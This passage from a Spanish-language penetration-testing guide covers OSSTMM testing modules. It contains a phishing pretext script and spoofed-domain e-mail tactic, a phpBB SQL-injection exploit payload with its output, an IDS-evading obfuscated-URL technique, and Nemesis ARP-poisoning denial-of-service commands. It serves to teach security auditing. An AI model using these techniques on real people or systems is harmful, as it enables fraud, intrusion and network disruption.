exclusivo a esta promoción.
— Claro, mi correo es yyyy@hotmail.com.
— En breve recibirá el correo; una vez obtenida su respuesta, en
el plazo de una semana nos pondremos en contacto con usted para
confirmarle el acceso y tendrá llamadas gratis durante todo el mes
de agosto.
— Ah, muchas gracias, muchas gracias…
A partir de aquí, no hay más que enviar un correo al individuo en
cuestión desde una dirección que parezca creíble; aunque para el
99% del personal es creíble cualquier dirección de Hotmail, mucho
más elaborado es utilizar algo del tipo
“registro@XXXXX.dyndns.org”, donde XXXX es obviamente el nombre de
la operadora. En ese correo, con logos oficiales y formalismos que
le den credibilidad, le pedimos amablemente su nombre, código
postal —por aquello de la estadística— y el número de teléfono que
quiere asociar a la promoción (aunque ya lo sepamos, nunca está de
más). Et voilà, tenemos enseguida cómo se llama la persona y dónde
vive (a lo de pedir la dirección postal, aparte de que no nos
aporta nada, la gente suele ser más reacia, pero el código postal
lo facilitamos sin problemas).

Como vemos, con solamente un número de teléfono, hemos conseguido obtener una gran cantidad
de información personal. Imaginemos la cantidad de variantes que podríamos idear para aplicarlo al
mundo de la empresa, e imaginemos como podríamos mejorarlo si previamente nos informamos de
la empresa o la persona a la que estamos llamando. Además, existen muchas personas más dentro de
la empresa, por lo que lo que obtengamos de una de ellas, podremos aplicarlo para que el llamar a la
siguiente persona nos resulte más fácil.

Sección C – Seguridad en las Tecnologías de Internet

1. Sondeo de la Red
Este módulo, es muchas veces no considerado como tal. Sucede, que muchas veces no se realiza, ya
que el cliente puede dar directamente un rango de IPs a comprobar. Además, muchas veces, los
resultados obtenidos en este módulo son completados en módulos posteriores.
Este módulo, es el primer punto de reconocimiento de la red. Se trata de averiguar todo lo que
podamos sobre ella de forma no invasiva. Lo haremos desde fuera, intentando averiguar todo lo que
podamos de ella, como rangos de IPs que tiene la compañía, subdominios etc...
Este módulo es bastante similar a los de la sección A, solo que ahora estamos intentando recolectar
información más concreta, sobre mapeos de red, bloques de IP. El buscar IPs individuales será tarea
de bloques posteriores. Si encontrásemos una IP individual, incluiríamos su rango en lugar de la IP.
Muchas veces esto podría ser una suposición falsa, pero en este punto, estamos intentando recabar

Página 34
toda la información posible, que ya filtraremos más tarde. Es mejor que nos sobre que el que nos
falte.
¿Qué podemos hacer para conseguirlo? Existen muchas posibilidades, entre las que se destacan:
–WHOIS
–DNS Zone Transfer

WHOIS es un protocolo que está ampliamente extendido para consultar una base de datos oficial
para determinar el propietario de un nombre de dominio, dirección IP etc... Tradicionalmente, se
ejecutaba por línea de comandos (en linux mediante el comando whois), aunque ahora existen webs
que lo ejecutan(Figura 7: ):

Figura 7:

En la imagen anterior, introducimos Google, para que nos muestre información sobre el dominio. A
continuación se muestra un extracto de la información que nos devuelve la página web:

Registrant:
Dns Admin
Google Inc.
Please contact contact-admin@Google.com 1600 Amphitheatre
Parkway
Mountain View CA 94043
US
dns-admin@Google.com +1.6502530000 Fax: +1.6506188571

Domain Name: Google.com

Registrar Name: Markmonitor.com

Registrar Whois: whois.markmonitor.com
Registrar Homepage: http://www.markmonitor.com

Administrative Contact:
DNS Admin
Google Inc.
1600 Amphitheatre Parkway
Mountain View CA 94043
US
dns-admin@Google.com +1.6506234000 Fax: +1.6506188571
Technical Contact, Zone Contact:
DNS Admin

Página 35
 Google Inc.
2400 E. Bayshore Pkwy
Mountain View CA 94043
US
dns-admin@Google.com +1.6503300100 Fax: +1.6506181499

Created on..............: 1997-09-15.

Expires on..............: 2011-09-13.
Record last updated on..: 2008-06-08.

Domain servers in listed order:

ns4.Google.com
ns3.Google.com
ns2.Google.com
ns1.Google.com

Como vemos, encontramos información tanto del registro, como algunos servidores de dominio.

Las DNS zone transfer, normalmente son utilizadas para replicar datos DNS a entre distintos
servidores DNS, o para hacer copias de seguridad de los mismos. Un usuario o servidor realizará
una petición de transferencia de zona de un servidor de nombres especifico. Si el servidor o permite,
todos los nombres DNS y direcciones IP alojadas en el mismo servidor de nombres serán
transferidas en ASCII, por lo tanto, será ideal para nuestros propósito.
en linux, el comando host:

$ host -l rutgers.edu
> Rutgers.EDU name server dns1.Rutgers.EDU
> Rutgers.EDU name server dns2.Rutgers.EDU
> Rutgers.EDU name server dns3.Rutgers.EDU
> Rutgers.EDU name server turtle.mcc.com
> Rutgers.EDU has address 165.230.4.76
> grad03.Rutgers.EDU has address 128.6.20.29
> dgcacook4.Rutgers.EDU has address 128.6.87.158
> grad04.Rutgers.EDU has address 128.6.20.30

En windows tenemos la herramienta nslookup:

>nslookup 204.228.150.3
Server: ns.computerhope.com
Address: 1.1.1.1

Name: www.computerhope.com
Address: 204.228.150.3

Existen muchas otras posibilidades, como las técnicas de Forward DNS Brute Force, SMTP Mail
Bounce, o la extracción de registros de dominio, aunque son menos utilizadas. Se puede leer
ampliamente sobre su funcionamiento en el libro “Penetration Tester's Open Source Toolkit” de
Syngress.

Página 36
2. Escaneo de Puertos
Aquí comienza la primera parte del test intrusivo. En este módulo, se intenta comprobar qué
servicios están activos actualmente, a la escucha de que un cliente se conecte a ellos.
El escaneo de puertos se sondea los puertos del sistema en el nivel de transporte y de red, y se
comprueba también si el firewall está correctamente configurado.
Todo sistema conectado a la red, tiene 65536 puertos (incluyendo el puerto 0). Sin embargo, no
hace falta comprobarlos todos siempre. El seleccionar qué puertos comprobar lo deciden el propio
equipo de la auditoría. Además de comprobar los puertos más importantes, si que se recomienda
escanear por puertos poco comunes de vez en cuando, pues es una forma común de detectar
servicios conectados pero no deseables, por ejemplo algún troyano que esté a la escucha.
NMAP es el escáner de puertos por excelencia, y se hablará de él y su forma de funcionar en el
ejemplo de test de penetración del presente texto.

3. Identificación de Servicios
En este módulo, se comprueba los resultados obtenidos del escaneo de puertos. Muchas veces, es
posible que los escáneres de puertos obtengan resultados erróneos, que sea otro servicio el que está
a la escucha (por ejemplo, un troyano a la escucha en un puerto conocido, como por ejemplo 53,
que generalmente está asociado a DNS). Es por ello que hay que verificarlo.
Para realizar las comprobaciones, se puede conectar mediante algún programa que envíe cadenas de
texto, e intercambiar comandos con aquellos servicios que queremos comprobar. Si responden a los
comandos de forma esperada (se puede comprobar que comandos admite cada protocolo en los
RFC), entonces, ese servicio está a la escucha en el puerto encontrado, y por lo tanto lo hemos
verificado.
Telnet, Netcat son ejemplos de herramientas para comprobarlo, y se hablará de ellas en el ejemplo
de test de penetración del presente texto.

4. Identificación del Sistema

En este módulo, se comprueba el sistema operativo de las máquinas. Esto se realiza mediante el
análisis de la respuesta de las máquinas ante determinados paquetes que se le envían.
Por ejemplo, NMAP (escáner de puertos que además detecta el sistema operativo y versión), lo
identifica en base a la comprobación de huellas TCP/IP. Nmap envía una serie de paquetes TCP y
UDP al sistema remoto y analiza prácticamente todos los bits de las respuestas. Nmap compara los
resultados de una docena de pruebas como puedan ser el análisis de ISN (Initial Secuence Number
o número inicial de secuencia) de TCP, el soporte de opciones TCP y su orden, el análisis de IPID y
las comprobaciones de tamaño inicial de ventana, con su base de datos nmap-os-fingerprints. Esta
base de datos consta de más de 1500 huellas de sistema operativo y cuando existe una coincidencia
se presentan los detalles del sistema operativo. Cada huella contiene una descripción en texto libre
del sistema operativo, una clasificación que indica el nombre del proveedor (por ejemplo, Sun), el
sistema operativo subyacente (por ejemplo, Solaris), la versión del SO (por ejemplo, 10) y el tipo de
dispositivo (propósito general, encaminador, conmutador, consola de videojuegos, etc.).
Aunque el programa que utilicemos para adivinar el sistema operativo y versión que utiliza,
debemos de tener cuidado, puesto que muchas veces, se suelen equivocar, y aunque acierten, mucha
gente suele buscar exploits para un determinado sistema operativo y versión, sin contar con que
éste, podría haber sido parcheado o configurado para solucionar el fallo de seguridad que se tiene
documentado.

Página 37
5. Búsqueda de Vulnerabilidades y Verificación
Aquí es donde se va a realizar el ataque en cuestión: se va a buscar y explotar los fallos que se
encuentren en las máquinas que haya en la red.
Generalmente, se suele utilizar programas automatizados, que buscan fallos de seguridad
documentados sobre las versiones de los programas y sistema operativo que usan las máquinas.
Cabe añadir, que la OSSTMM exige que se utilice al menos 2 programas automatizados distintos,
para comprobar las consistencias entre ambos, y así poder tener más información con menor
probabilidad de equivocarnos.
Seguidamente, habrá que comprobar que esos fallos existen efectivamente, y que no sean falsos
positivos. Aquí es donde entran los exploits: los exploits son pequeños trozos de código que utilizan
los crackers para introducirse en las máquinas ajenas. Los auditores, deberán hacer lo mismo, pero
de forma controlada para causar el menor número de daños, y siempre con la finalidad de poder
comprobar que esos fallos existen.
Hay que tener en cuenta, que todos los programas que existen en el mundo, contienen errores, ya
que el ser humano no es perfecto. Siempre encontraremos fallos con cada versión nueva de software
que pretenda corregir los de la anterior, y pueden ser de muchos tipos, por ejemplo: desbordamiento
de búfer (buffer overflow), condición de carrera (race condition), errores de validación de variables,
etc, etc.
Por ejemplo, puede darse el caso, de que se construya un programa, donde en un determinado
momento se pida al usuario algo por teclado, y no se compruebe el tamaño de la entrada, y cause un
buffer overflow. Siempre se puede programar un programa que se aproveche de esto, y escriba en
las posiciones de memoria referentes al UID y se haga con el control de la máquina. Podría
igualmente ser este mismo ejemplo, pero en un programa con el patrón cliente-servidor, donde el
servidor espera algo del cliente sin comprobar la longitud de entrada.
Hay dos tipos de exploits:
–0-day: son trozos de código privados, que aquella persona que los implementó no desea hacer
públicos (ya sea por no causar alarma, o para usarlos en beneficio propio).
–Públicos: son trozos de código cuyo propietario ha decidido poner a disposición de todo el mundo.
Existen múltiples webs donde gente comparte los exploits como www.milw0rm.com,
www.securityfocus.com, www.packetstormsecurity.org por ejemplo.
Normalmente, una vez han sido hechos públicos, es cuando los fabricantes conocen estos fallos y
tratan de solucionarlos.
A continuación muestro un ejemplo de como funciona un exploit. Se trata de phpBB Links MOD
1.2.2 Remote SQL Injection Exploit. El módulo "Links" del sistema de foros llamado phpBB en su
versión 1.2.2 es vulnerable a inyección SQL remota. Estos significa que mediante la URL es posible
interactuar directamente con la base de datos (en este caso MySQL) para, entre otras cosas, obtener
la password de Administrador y poder loguearse como tal:

auditor@maquina:~/Desktop/exploit$ perl phpBB2.pl

phpBB <= 2.0.22 - Links MOD <= v1.2.2 Remote SQL Injection Exploit
Bug discovered by Don
Dork: allinurl:links.php?t=search
or: "Links MOD v1.2.2 by phpBB2.de"
SQL INJECTION: Exploit: links.php?t=search&search_keywords=
asd&start=1,1%20UNION%20SELECT%201,
username,user_password,4,5,6,7,8,9,10,11,12%20FROM%20
phpbb_users%20WHERE%20user_id=2/*
=> Insert URL
=> without ( http )

Página 38
=>
www.foroejemplo.com

=> Insert directory

=> es: /forum/ - /phpBB2/
=>
/foros/

=> User ID
=> Number:
=>
1

Exploit in process...
Exploit
in process...
Exploit finished!
MD5-Hash is: 827ccb0eea8a706c4c34a16891f84e7b

Lo que ha sucedido aquí, es que dándole la dirección del foro, la sección, el ID de un usuario (en
este caso 1, que es el administrador del foro), nos ha recuperado el pass codificado en MD5, el cual
podremos intentar decodificar, por ejemplo, utilizando fuerza bruta, ataque de diccionario, desde la
máquina local, por lo que tenemos todo el tiempo del mundo para hacerlo, sin necesidad de utilizar
la red, y sin ser intrusivos.

6. Testeo de Aplicaciones de Internet

En este tipo de testeo, se analizan los programas propietario de la empresa que estamos auditando.
Se comprueba su robustez, y se tratará de buscar fallos, y explotarlos. A diferencia del apartado
anterior, aquí deberemos de implementar nosotros mismos nuestro propio exploit. La forma de
hacerlo, es demasiado extensa como para explicarla en este apartado, aunque sí es interesante el ver
una herramienta que facilita la tarea, como es Metasploit Framework (MSF).
Metasploit Framework es una herramienta para desarrollar y ejecutar exploits contra máquinas
remotas(Figura 8: ).

Figura 8:

Página 39
El ciclo de vida típico de una vulnerabilidad y su explotación es la siguiente:
–Descubrimiento: un investigador de seguridad o vendedor descubre una vulnerabilidad de
seguridad crítica en el software
–Divulgación: el investigador de seguridad se mantiene fiel a la política de privacidad e informa al
vendedor, o bien lo divulga en una lista de correo pública. En ambos casos, el vendedor debe
desarrollar un parche para solucionar la vulnerabilidad.
–Análisis: el investigador o cualquier otra persona de cualquier punto del mundo, empiezan a
analizar la vulnerabilidad para determinar su explotabilidad. ¿Puede ser explotado?¿Puede ser
explotado remotamente?¿Resultará su explotación en una ejecución remota de código, o colgará el
sistema? Esta fase incluye también la depuración de la aplicación vulnerable mediante la
introducción de código malicioso en las partes vulnerables del código.
–Desarrollo del exploit: una vez las respuestas a las preguntas clave han sido determinadas, el
proceso de desarrollo del exploit comienza. Esto ha sido considerado normalmente como “artes
oscuras”, requiriendo un conocimiento profundo de los registros del procesador, código
ensamblador, offsets y payloads (payloads, en su significado de acciones a tomar par garantizar un
acceso remoto a la máquina, como por ejemplo vnc).
–Pruebas: esta es la fase donde el programador comprueba el exploit contra varias plataformas,
service packs, o parches, y posiblemente contra distintos procesadores.
–Liberación: una vez el exploit ha sido testeado, y los parámetros específicos requeridos para su
ejecución con éxito han sido determinados, el programador libera el exploit, ya sea de forma
privada, o en un foro público. Muchas veces, el exploit es modificado para que no funcione tal cual,
sino que haya que realizar unos pequeños cambios. Esto se hace, para que los conocidos como
“script-kiddies” no sepan utilizarlo, y que solamente aquella gente que sabe lo que hace y como
funciona el exploit, puedan utilizarlo.

7. Testeo del Router

En este módulo, tratamos de averiguar todo lo posible sobre el Router que separa la red de la
empresa, del resto del mundo, de Internet. Intentamos averiguar cuales son las ACLs (Access
Control List) que se encargan de aceptar o denegar paquetes.
Una técnica interesante para conseguir esto, es la denominada Firewalking:
Antes de comenzar a explicar la técnica, me gustaría resaltar, que las IPs utilizadas son ficticias e
internas (aunque realmente, la técnica se aplicaría a IPs externas, y enrutables).
Firewalking es una técnica que puede ser utilizada para recoger información de una red remota
protegida por un firewall.
Para comprender esta técnica, es necesario comprender cómo funciona la herramienta Traceroute.
Traceroute es una herramienta de depuración de redes utilizada para poder realizar un mapa de
todos los hosts que están en la ruta hasta un destino indicado. Envía paquetes UDP, o ICMP de tipo
echo, a un host destino, y va incrementando poco a poco su time tu live (TTL) cada ronda (por
defecto, una ronda consiste de 3 paquetes o sondas). Si se utiliza UDP, el puerto de destino se
incrementará en uno por cada sonda.

Como bien sabemos, el TTL es un campo de un datagrama IP utilizado para limitar el número de
nodos por los que se desea que viaje el datagrama antes de ser descartado o devuelto a su origen por
la IP, ya que cada vez que pasa por un nodo, se decrementa en uno. Si vamos incrementando en uno
este campo cada vez (el TTL inicial), nos irá devolviendo un mensaje de error ICMP cada vez que
el TTL sea cero, y por lo tanto el host origen conocerá en qué router expiró el paquete.

Ahora que conocemos como funciona traceroute, podemos ver un par de ejemplos de como se
comporta el programa ante unas situaciones particulares:

Página 40
En el primer escenario, tenemos una red protegida por un firewall que bloquea todo el tráfico
entrante excepto ping y su respuesta (ICMP tipo 8 y 0 respectivamente).
En el primer ejemplo, usamos los paquetes UDP por defecto(Figura 9: ):

Figura 9:

Como vemos, nos lo bloquea. Ahora bien, vamos a intentarlo utilizando ICMP(Figura 10: ):

Figura 10:

Con esto, ya vemos que ya podemos acceder dentro de la red, y recoger datos de ella.

En el segundo escenario, vamos a ver que sucede si el firewall bloquea todo el tráfico entrante a
excepción de UDP puerto 53, es decir, para DNS (Figura 11: ):

Figura 11:

Como podemos ver en la figura (Figura 11: ), el traceroute es bloqueado en el octavo salto porque
no se permite el paso exceptuando peticiones DNS. Sabiendo esto, podemos diseñar un plan.

Tenemos control sobre:

–El puerto con el que empezar traceroute (recordemos, que irá incrementándose)
–El numero de sondas por ronda (3 por defecto)

Página 41
Además, también conocemos el número de saltos entre nosotros y el firewall, por lo que es fácil
deducir:

(puerto_objetivo – (numero_de_saltos * numero_de_sondas)) -1

Por ejemplo:

(53 – (8*3)) -1 = 28

Por lo tanto, si nuestro puerto inicial lo especificamos como 28, al llegar al firewall, los paquetes se
enviarán al puerto 53, y nos permitirá el paso (Figura 12: ):

Figura 12:

Como vemos, hemos conseguido saltar por encima del objetivo, pero se nos bloquea, más adelante,
ya que no se nos permite el paso de tráfico con puerto distinto a 53, y traceroute incrementa el
puerto. Una posibilidad para sortear esto, sería modificar el código de traceroute para que no
incremente el puerto objetivo, pero esto escapa al alcance del presente documento. De momento,
debemos conformarnos con que sabemos que el tráfico dirigido al puerto 53 se nos permite el paso,
y que otros se nos está bloqueando. Además, conoceremos el siguiente host al firewall.

Ahora comienza el concepto de Firewalking. Para poder utilizar la respuesta de la puerta de acceso
como medio de información, debemos saber dos cosas:
–La dirección IP de la última puerta de acceso antes firewall
–La dirección IP del host detrás del firewall.

La primera, nos servirá como origen de nuestras mediciones (en términos de saltos), y la segunda la
utilizaremos como dirección hacia la que enviar el flujo de paquetes. Podremos utilizar una técnica
conocida como firewall protocol scan, que nos dará a conocer qué puertos/protocolos nos permite el
firewall utilizar para atravesarlo. Para ello, trataremos de probar cada puerto, y esperar las
respuestas. O también podemos tratar de enviar paquetes a todos los hosts detrás del firewall, para
intentar hacer un mapa de la topología de la red.

A partir de aquí, traceroute nos limita mucho, por lo tanto, vamos a presentar una nueva
herramienta: firewalk. Su funcionalidad se basa en lo mencionado. Realizará dos fases, una de
exploración, y otra de escaneo. Una la hará para averiguar el TTL donde está la puerta de acceso, y
otra, para realizar el firewall protocol scan. Un ejemplo de ejecución (Figura 13: ):

Página 42
 Figura 13:

8. Testeo de Sistemas de Confianza

Este módulo es un poco confuso, y realmente podría englobarse dentro de el testeo de
vulnerabilidades y el testeo de firewall/ACL. Se intenta poner a prueba las relaciones de confianza
entre distintas máquinas, mediante spoofing por ejemplo. Se comprueba también si es posible
averiguar estas relaciones mediante la recogida de inteligencia competitiva, comprobar que no haya
filtraciones hacia internet, por ejemplo Google hacking.

9. Testeo de Firewall
Este módulo es bastante similar al del testeo de router. Las técnicas aplicadas en el anterior pueden
ser aplicables a éste. Aquí se realiza un estudio más avanzado de las reglas del firewall, entendiendo
al 100% todas las reglas, y permitiendo solo aquello expresamente necesario. Además, no solamente
se estudiará el firewall que haya en la puerta de enlace; se estudiarán todos los firewalls que haya en
el sistema estudiado.

10. Testeo de Sistemas de Detección de Intrusos

Este módulo se encarga de revisar el correcto funcionamiento de un sistema de detección de
intrusos (IDS).
Un IDS, es una herramienta informática que se utiliza para detectar accesos no autorizados a una
red. Son programas que están a la escucha de lo que sucede en la red, funcionando de forma similar
a un sniffer, analizando todo lo que pasa por una determinada sección de la red en busca de tráfico
“sospechoso”, que pudiera significar un uso indebido de la red. Por indebido, podemos entender
tanto el ataque de un hacker, spam, uso indebido de la red por parte de usuarios etc.
Una de las funciones más comunes dentro de un IDS, es la detección de patrones. El IDS incluye
una base de datos de patrones (conocidos como firmas) de ataques conocidos, y cuando detecta uno

Página 43
en la red, hace saltar una alarma, de tal forma que los administradores del sistema puedan realizar
las acciones pertinentes. Por ejemplo, podría ser una política de una empresa el que los usuarios de
la red no deban visitar páginas de pornografía. Por lo tanto, el IDS podría configurarse de tal forma
que, cuando detecte la palabra sexo, pornografía etc... bloquee el acceso.
Con la detección de patrones en URL (como en el ejemplo anterior), me resulta interesante
comentar, una técnica para tratar de evitar que el IDS alerte de un uso fraudulento. Se trata del uso
de obfuscated URLs.
A continuación, voy a comentar su funcionamiento básico, de forma que podamos ver cómo puede
burlar un IDS. Debo de advertir, que los ejemplos que voy a exponer a continuación utiliza IPs hace
mucho que han cambiado, por lo que los ejemplos podrían no funcionar.
¿Que es una obfuscated URL? Una obfuscated URL es una dirección url que hemos traducido (u
ofuscado en nuestro caso) para poder burlar o engañar tanto a un IDS como a un ser humano.
Trataremos de que no se reconozca aquella página web, por ejemplo, para usos fraudulentos.

Ejemplo de web sin ofuscar: http://www.pc-help.org/obscure.htm

Misma web ofuscada: http://3468664375@3468664375/o%62s%63ur%65%2e%68t%6D

Como vemos, es difícil de reconocer, y por tanto es altamente probable que pueda pasarse por alto
su contenido real, y probablemente pueda pasar inadvertida ante un IDS que no esté debidamente
configurado.
¿Como ha sido traducida? La parte entre http:// y la @, se suele utilizar para la autenticación (de la
forma usuario:pass), pero en las direcciones donde no se exige autenticación, no importa lo que
pongamos, por lo que tanto el navegador como el servidor simplemente lo ignorará. Esto podría
utilizarse para tratar de engañar también:

http://www.upv.es@3468664375/obscure.htm
Esta dirección podría hacer creer que la página web está en upv.es

La segunda parte, (entre la @ y la primera barra) 3468664375, es la propia dirección IP donde está
hospedada la página web, solo que se ha traducido de decimal a dword. Esto hace que sea más
dificil aún de reconocer. La forma de hacerlo, es la siguiente:

206 * 256 + 191 = * 256 + 158 = * 256 + 55 = 3468664375

Por último, nos queda parte entre la primera barra y el final de la url:

/o%62s%63ur%65%2e%68t%6D

Esta parte equivale a: /obscure.htm Lo que hemos realizado aquí, es el traducir algunas letras a
hexadecimal (base 16) de sus códigos ASCII.

Esto no ha sido mas que un ejemplo. Hay muchas otras formas de realizarlo, desde las más simples,
a las más complejas, por lo que es algo interesante a realizar si queremos pasar desapercibido ante
algunos IDS, y algo que debemos revisar en el IDS que estemos comprobando.

Página 44
11. Testeo de Medidas de Contención
En el presente módulo, se comprueban todas las medidas existentes de respuesta que existen en el
sistema, para actuar ante un virus, troyanos, programas con código malicioso. Por lo tanto, se
comprobará cómo actúan los programas y políticas existentes en el sistema para mantenerlo limpio
de estas amenazas.
Soluciones tales como aislamiento o cuarentena de los mismos, copias de seguridad, antivirus etc...

12. Password Cracking

El password cracking es el proceso de comprobación de cuan difícil es de descifrar una contraseñas.
Se trata de obtener las contraseñas, aprovechándonos de fallos ya sea en el sistema de cifrado, o en
debilidades introducidas por factor humano.
En el fallo introducido por factor humano, podemos destacar:

–Contraseñas demasiado cortas

–Uso de una misma contraseña en varios sitios
–Utilización de palabras conocidas, existentes en diccionarios
–Uso de contraseñas comunes (Dios, sol, Ra etc..) que se encuentren también en diccionarios
–Utilización del login como contraseña (login: Paco Pass: Paco)

El tipo de ataque más común para aprovecharnos de estos fallos, es el uso de ataques de fuerza
bruta o diccionario, de los cuales se muestra un ejemplo en la parte técnica del documento.

Para poder mejorar la robustez de nuestras contraseñas, se aconseja, evitar los fallos descritos antes,
y además:

–Uso de mayúsculas y minúsculas

–Utilización de letras y números
–Utilización de símbolos y acentos
–Cambiar regularmente de contraseña

Si seguimos estos consejos, el proceso se ralentiza considerablemente, hasta el punto de hacer que
no sea útil el tiempo invertido para descifrar la contraseña, y se intente entrar al sistema por otros
medios.
Por la parte de fallos del propio algoritmo de compresión, la mayoría se basan en fallos de origen
matemático o puramente criptográfico, lo cual se escapa de la intención del documento. No
obstante, se expone un ejemplo que ha sido bastante comentado, el fallo de MD5, que está
documentado en wikipedia :

A pesar de haber sido considerado criptográficamente seguro en un

principio, ciertas investigaciones han revelado vulnerabilidades
que hacen cuestionable el uso futuro del MD5. En agosto de 2004,
Xiaoyun Wang, Dengguo Feng, Xuejia Lai y Hongbo Yu anunciaron el
descubrimiento de colisiones de hash para MD5. Su ataque se
consumó en una hora de cálculo con un clúster IBM P690.

Página 45
Aunque dicho ataque era analítico, el tamaño del hash (128 bits)
es lo suficientemente pequeño como para que resulte vulnerable
frente a ataques de «fuerza bruta» tipo «cumpleaños». El proyecto
de computación distribuida MD5CRK arrancó en marzo de 2004 con el
propósito de demostrar que MD5 es inseguro frente a uno de tales
ataques, aunque acabó poco después del aviso de la publicación de
la vulnerabilidad del equipo de Wang.
Debido al descubrimiento de métodos sencillos para generar
colisiones de hash, muchos investigadores recomiendan su
sustitución por algoritmos alternativos tales como SHA-1 o
RIPEMD-160.

13. Testeo de Denegación de Servicio

La denegación de servicio(Denial of Service o DoS), es una situación en la que el sistema deja de
funcionar correctamente, colapsando, saturando y/o sobrecargando el servicio víctima y pudiendo,
incluso, provocar la caída total del sistema. Es decir, aquí no se obtiene una ventaja directa de su
funcionamiento incorrecto, sino que simplemente hace que deje de funcionar correctamente. Es un
tipo de situación bastante común ya que es bastante fácil de provocar, y muchas veces se lee por la
red, de internautas que están en desacuerdo con una decisión que ha tomado un determinado
colectivo, y han provocado un DoS.
La denegación de servicio puede darse tanto intencionada como accidentalmente. Por ejemplo, un
servidor web puede verse envuelto en una situación en la que no es capaz de dar servicio a tantos
clientes como los que lo piden, y esto es una situación completamente legítima, y sin ninguna
intención de causar el daño.
Debemos de tener en cuenta, que este tipo de comprobaciones (testeo de Dos), son muy susceptibles
de causar daños al sistema, por lo que se debe de pedir permiso expreso a la empresa a la cual se
esté realizando la auditoría. Es mas, algunos ataques que causan DoS como el flood (inundación), o
DDos (Denegación de Servicio Dinámico) están expresamente prohibidos por la OSSTMM, ya que
pueden causar problemas, no solo a la máquina que estemos comprobando, sino que también
pueden verse afectados routers y sistemas entre el tester y el objetivo.

Un ejemplo sencillo de un ataque DoS, es el ARP Injection. Antes de explicar el ataque, vamos a
recordar en que se basa el protocolo ARP:

1.Petición ARP: el ordenador A pregunta a toda la red, “¿Quien tiene esta IP?”
2.Respuesta ARP: El ordenador B le contesta al ordenador A “Yo tengo esta IP. Mi MAC es: (la
MAC que sea)”
3.Petición ARP Inversa (RARP): Mismo concepto que la petición ARP, pero el ordenador A
pregunta: “¿Quien tiene esta dirección MAC?”
4.Respuesta RARP: Ordenador B contesta al ordenador A “Yo tengo esa dirección MAC, mi
dirección IP es: (la IP que sea)”

De esta forma, pueden comunicarse los ordenadores, traduciendo direcciones IP a MAC y

viceversa. Esto sucede constantemente, informándose continuamente de los cambios que hay (por
ejemplo, cada vez que un ordenador reinicia). Dado que las peticiones las reciben todos los
ordenadores de la red, cualquiera podría contestar a la petición, y en esto se basa el ataque.
En nuestro caso, vamos a intentar hacer creer a una máquina, que determinada MAC corresponde a
una IP inexistente, de tal forma que le sea imposible comunicarse con ella. En el ejemplo a
continuación, desde una máquina windows haremos que la máquina víctima no sea capaz de

Página 46
comunicarse con el router, de forma que quede incomunicada con el exterior.

Para realizar el ataque:

Primero, necesitamos saber la dirección MAC del router :

C:\>arp -a

Interfaz: 192.168.0.25 ---0x2

Dirección IP Dirección Física Tipo
192.168.0.1 00-09-45-e3-6f-31

Ahora, con ayuda de un programa llamado Némesis, vamos a envenenar la tabla ARP de la víctima:
C:\Némesis\>nemesis arp -D 192.168.0.50 -S 192.168.0.1 -H
00:01:02:03:04:05
ARP Packet Injected

Con este comando, hemos envenenado la tabla ARP de la máquina con dirección 192.168.0.50 que
ahora cree que la dirección MAC del router (con IP 192.168.0.1) tiene la MAC 00:01:02:03:04:05,
la cual es falsa, por lo que no podrá comunicarse con él (ya que no existe).

Esto es solamente momentáneo, ya que como hemos dicho, los mensajes ARP van enviándose
periódicamente, por lo que en algún momento, le llegará un mensaje con la MAC del router
correcta. Una forma de asegurarnos de que esto no suceda, es inyectar paquetes como hemos hecho
hasta ahora, solo que dentro de un bucle:
C:\Némesis\>FOR /L %i IN (1,1,6500) DO nemesis arp -D 192.168.0.50
-S 192.168.0.1 -H 00:01:02:03:04:05

De esta forma, la máquina víctima estará bajo los efectos de un DoS mientras dure el bucle.

14. Revisión de las Políticas de Seguridad

Las políticas de seguridad son la versión escrita y documentada de todas las medidas que tiene la
empresa en lo referente a la seguridad de los sistemas.
Este módulo debería realizarse una vez se han revisado todas las secciones técnicas y
vulnerabilidades, ya que sino, los resultados obtenidos aquí, no serían comparables con las políticas
de seguridad que deberían de cumplirse.
Primeramente, debe de comprobarse que las políticas de seguridad sobre papel, están justificadas,
tanto dentro del negocio (por ejemplo, no utilizar servicios innecesarios), como legal y éticamente.
Hay que prestar especial atención a que se cumplan las normativas de privacidad de los empleados,
y que además, todo lo revisado esté conforme a las leyes locales.
Una de las funciones principales en este módulo (y quizás más importante también) sea la
comparación de las medidas que hay sobre papel, y las implementadas y en funcionamiento. Por lo
tanto, se debería de comprobar que las políticas de seguridad diseñadas están correctamente
implementadas y configuradas.

Página 47
Sección D – Seguridad en las Comunicaciones

1. Testeo de PBX
Un PBX(siglas en inglés de Private Branch Exchange) cuya traducción al español sería Central
secundaria privada automática, es cualquier central telefónica conectada directamente a la red
pública de teléfono por medio de líneas troncales para gestionar, además de las llamadas internas,
las entrantes y/o salientes con autonomía sobre cualquier otra central telefónica.
Visualmente, es como las antiguas centralitas que se veían en las películas, donde se le pedía por
teléfono a la operadora que te conectara con un número telefónico, y entonces podía establecerse la
comunicación para hablar(Figura 14: ).

Figura 14:

Existen muchas razones por las que se debería realizar una revisión concienzuda en este módulo:

• Los PBX y periféricos tienen largos tiempos de vida, por lo que no siempre están a la última.
Siendo así, muchos serán bastante antiguos, por lo que sus dispositivos de seguridad también
los son, por lo tanto, los hacen fáciles de manipular. Además, sus bases de datos internas
pueden estar sin codificar, y su estructura fácil de comprender.
• Existen pocas empresas que se dediquen a fabricarlas, por lo que conociendo un par,
conoces el 70% del mercado.
• La gente que maneja las PBX no suelen estar concienciados de medidas de seguridad, por lo
que muchas veces, hasta las funciones más obvias de seguridad, muchas veces no están
presentes.
• La mayoría de veces están gestionados remotamente, por lo que es fácil para los hackers
encontrar estos puntos de acceso.
• Las actualizaciones de software de los PBX se suelen hacer remotamente, por lo que es
posible interceptarlas y corromperlas, introduciendo caballos de Troya

Página 48
 • El mantenimiento remoto por parte de los proveedores significa que las contraseñas y mucha
de la información pueden encontrarse fácilmente fuera de la empresa (por ejemplo, estar
disponible en algún manual en alguna página web).
• Muchas veces es utilizado por todo el mundo, no solamente gente cualificada, por lo que
hace que sea más susceptible a la ingeniería social (por ejemplo, engañando para que les den
la contraseña).
• Suele estar instalado en lugares poco utilizados, como en algún almacén poco transitado, por
lo que hace que sea fácil de acercarse y manipularlo.
• Los PBX son extremadamente complicados, por lo que es muy difícil de garantizar la
seguridad de cada característica que ofrece por separado, por lo que es muy posible que un
hacker se prepare a fondo un tipo de penetración, y superar al encargado, ya que este tiene
una visión más general del mismo.

El comprometer la PBX significa, que un atacante pueda además, obtener información privilegiada
de la empresa, llamar en su nombre, y un largo etc.

2. Testeo de Buzón de Voz/Contestador

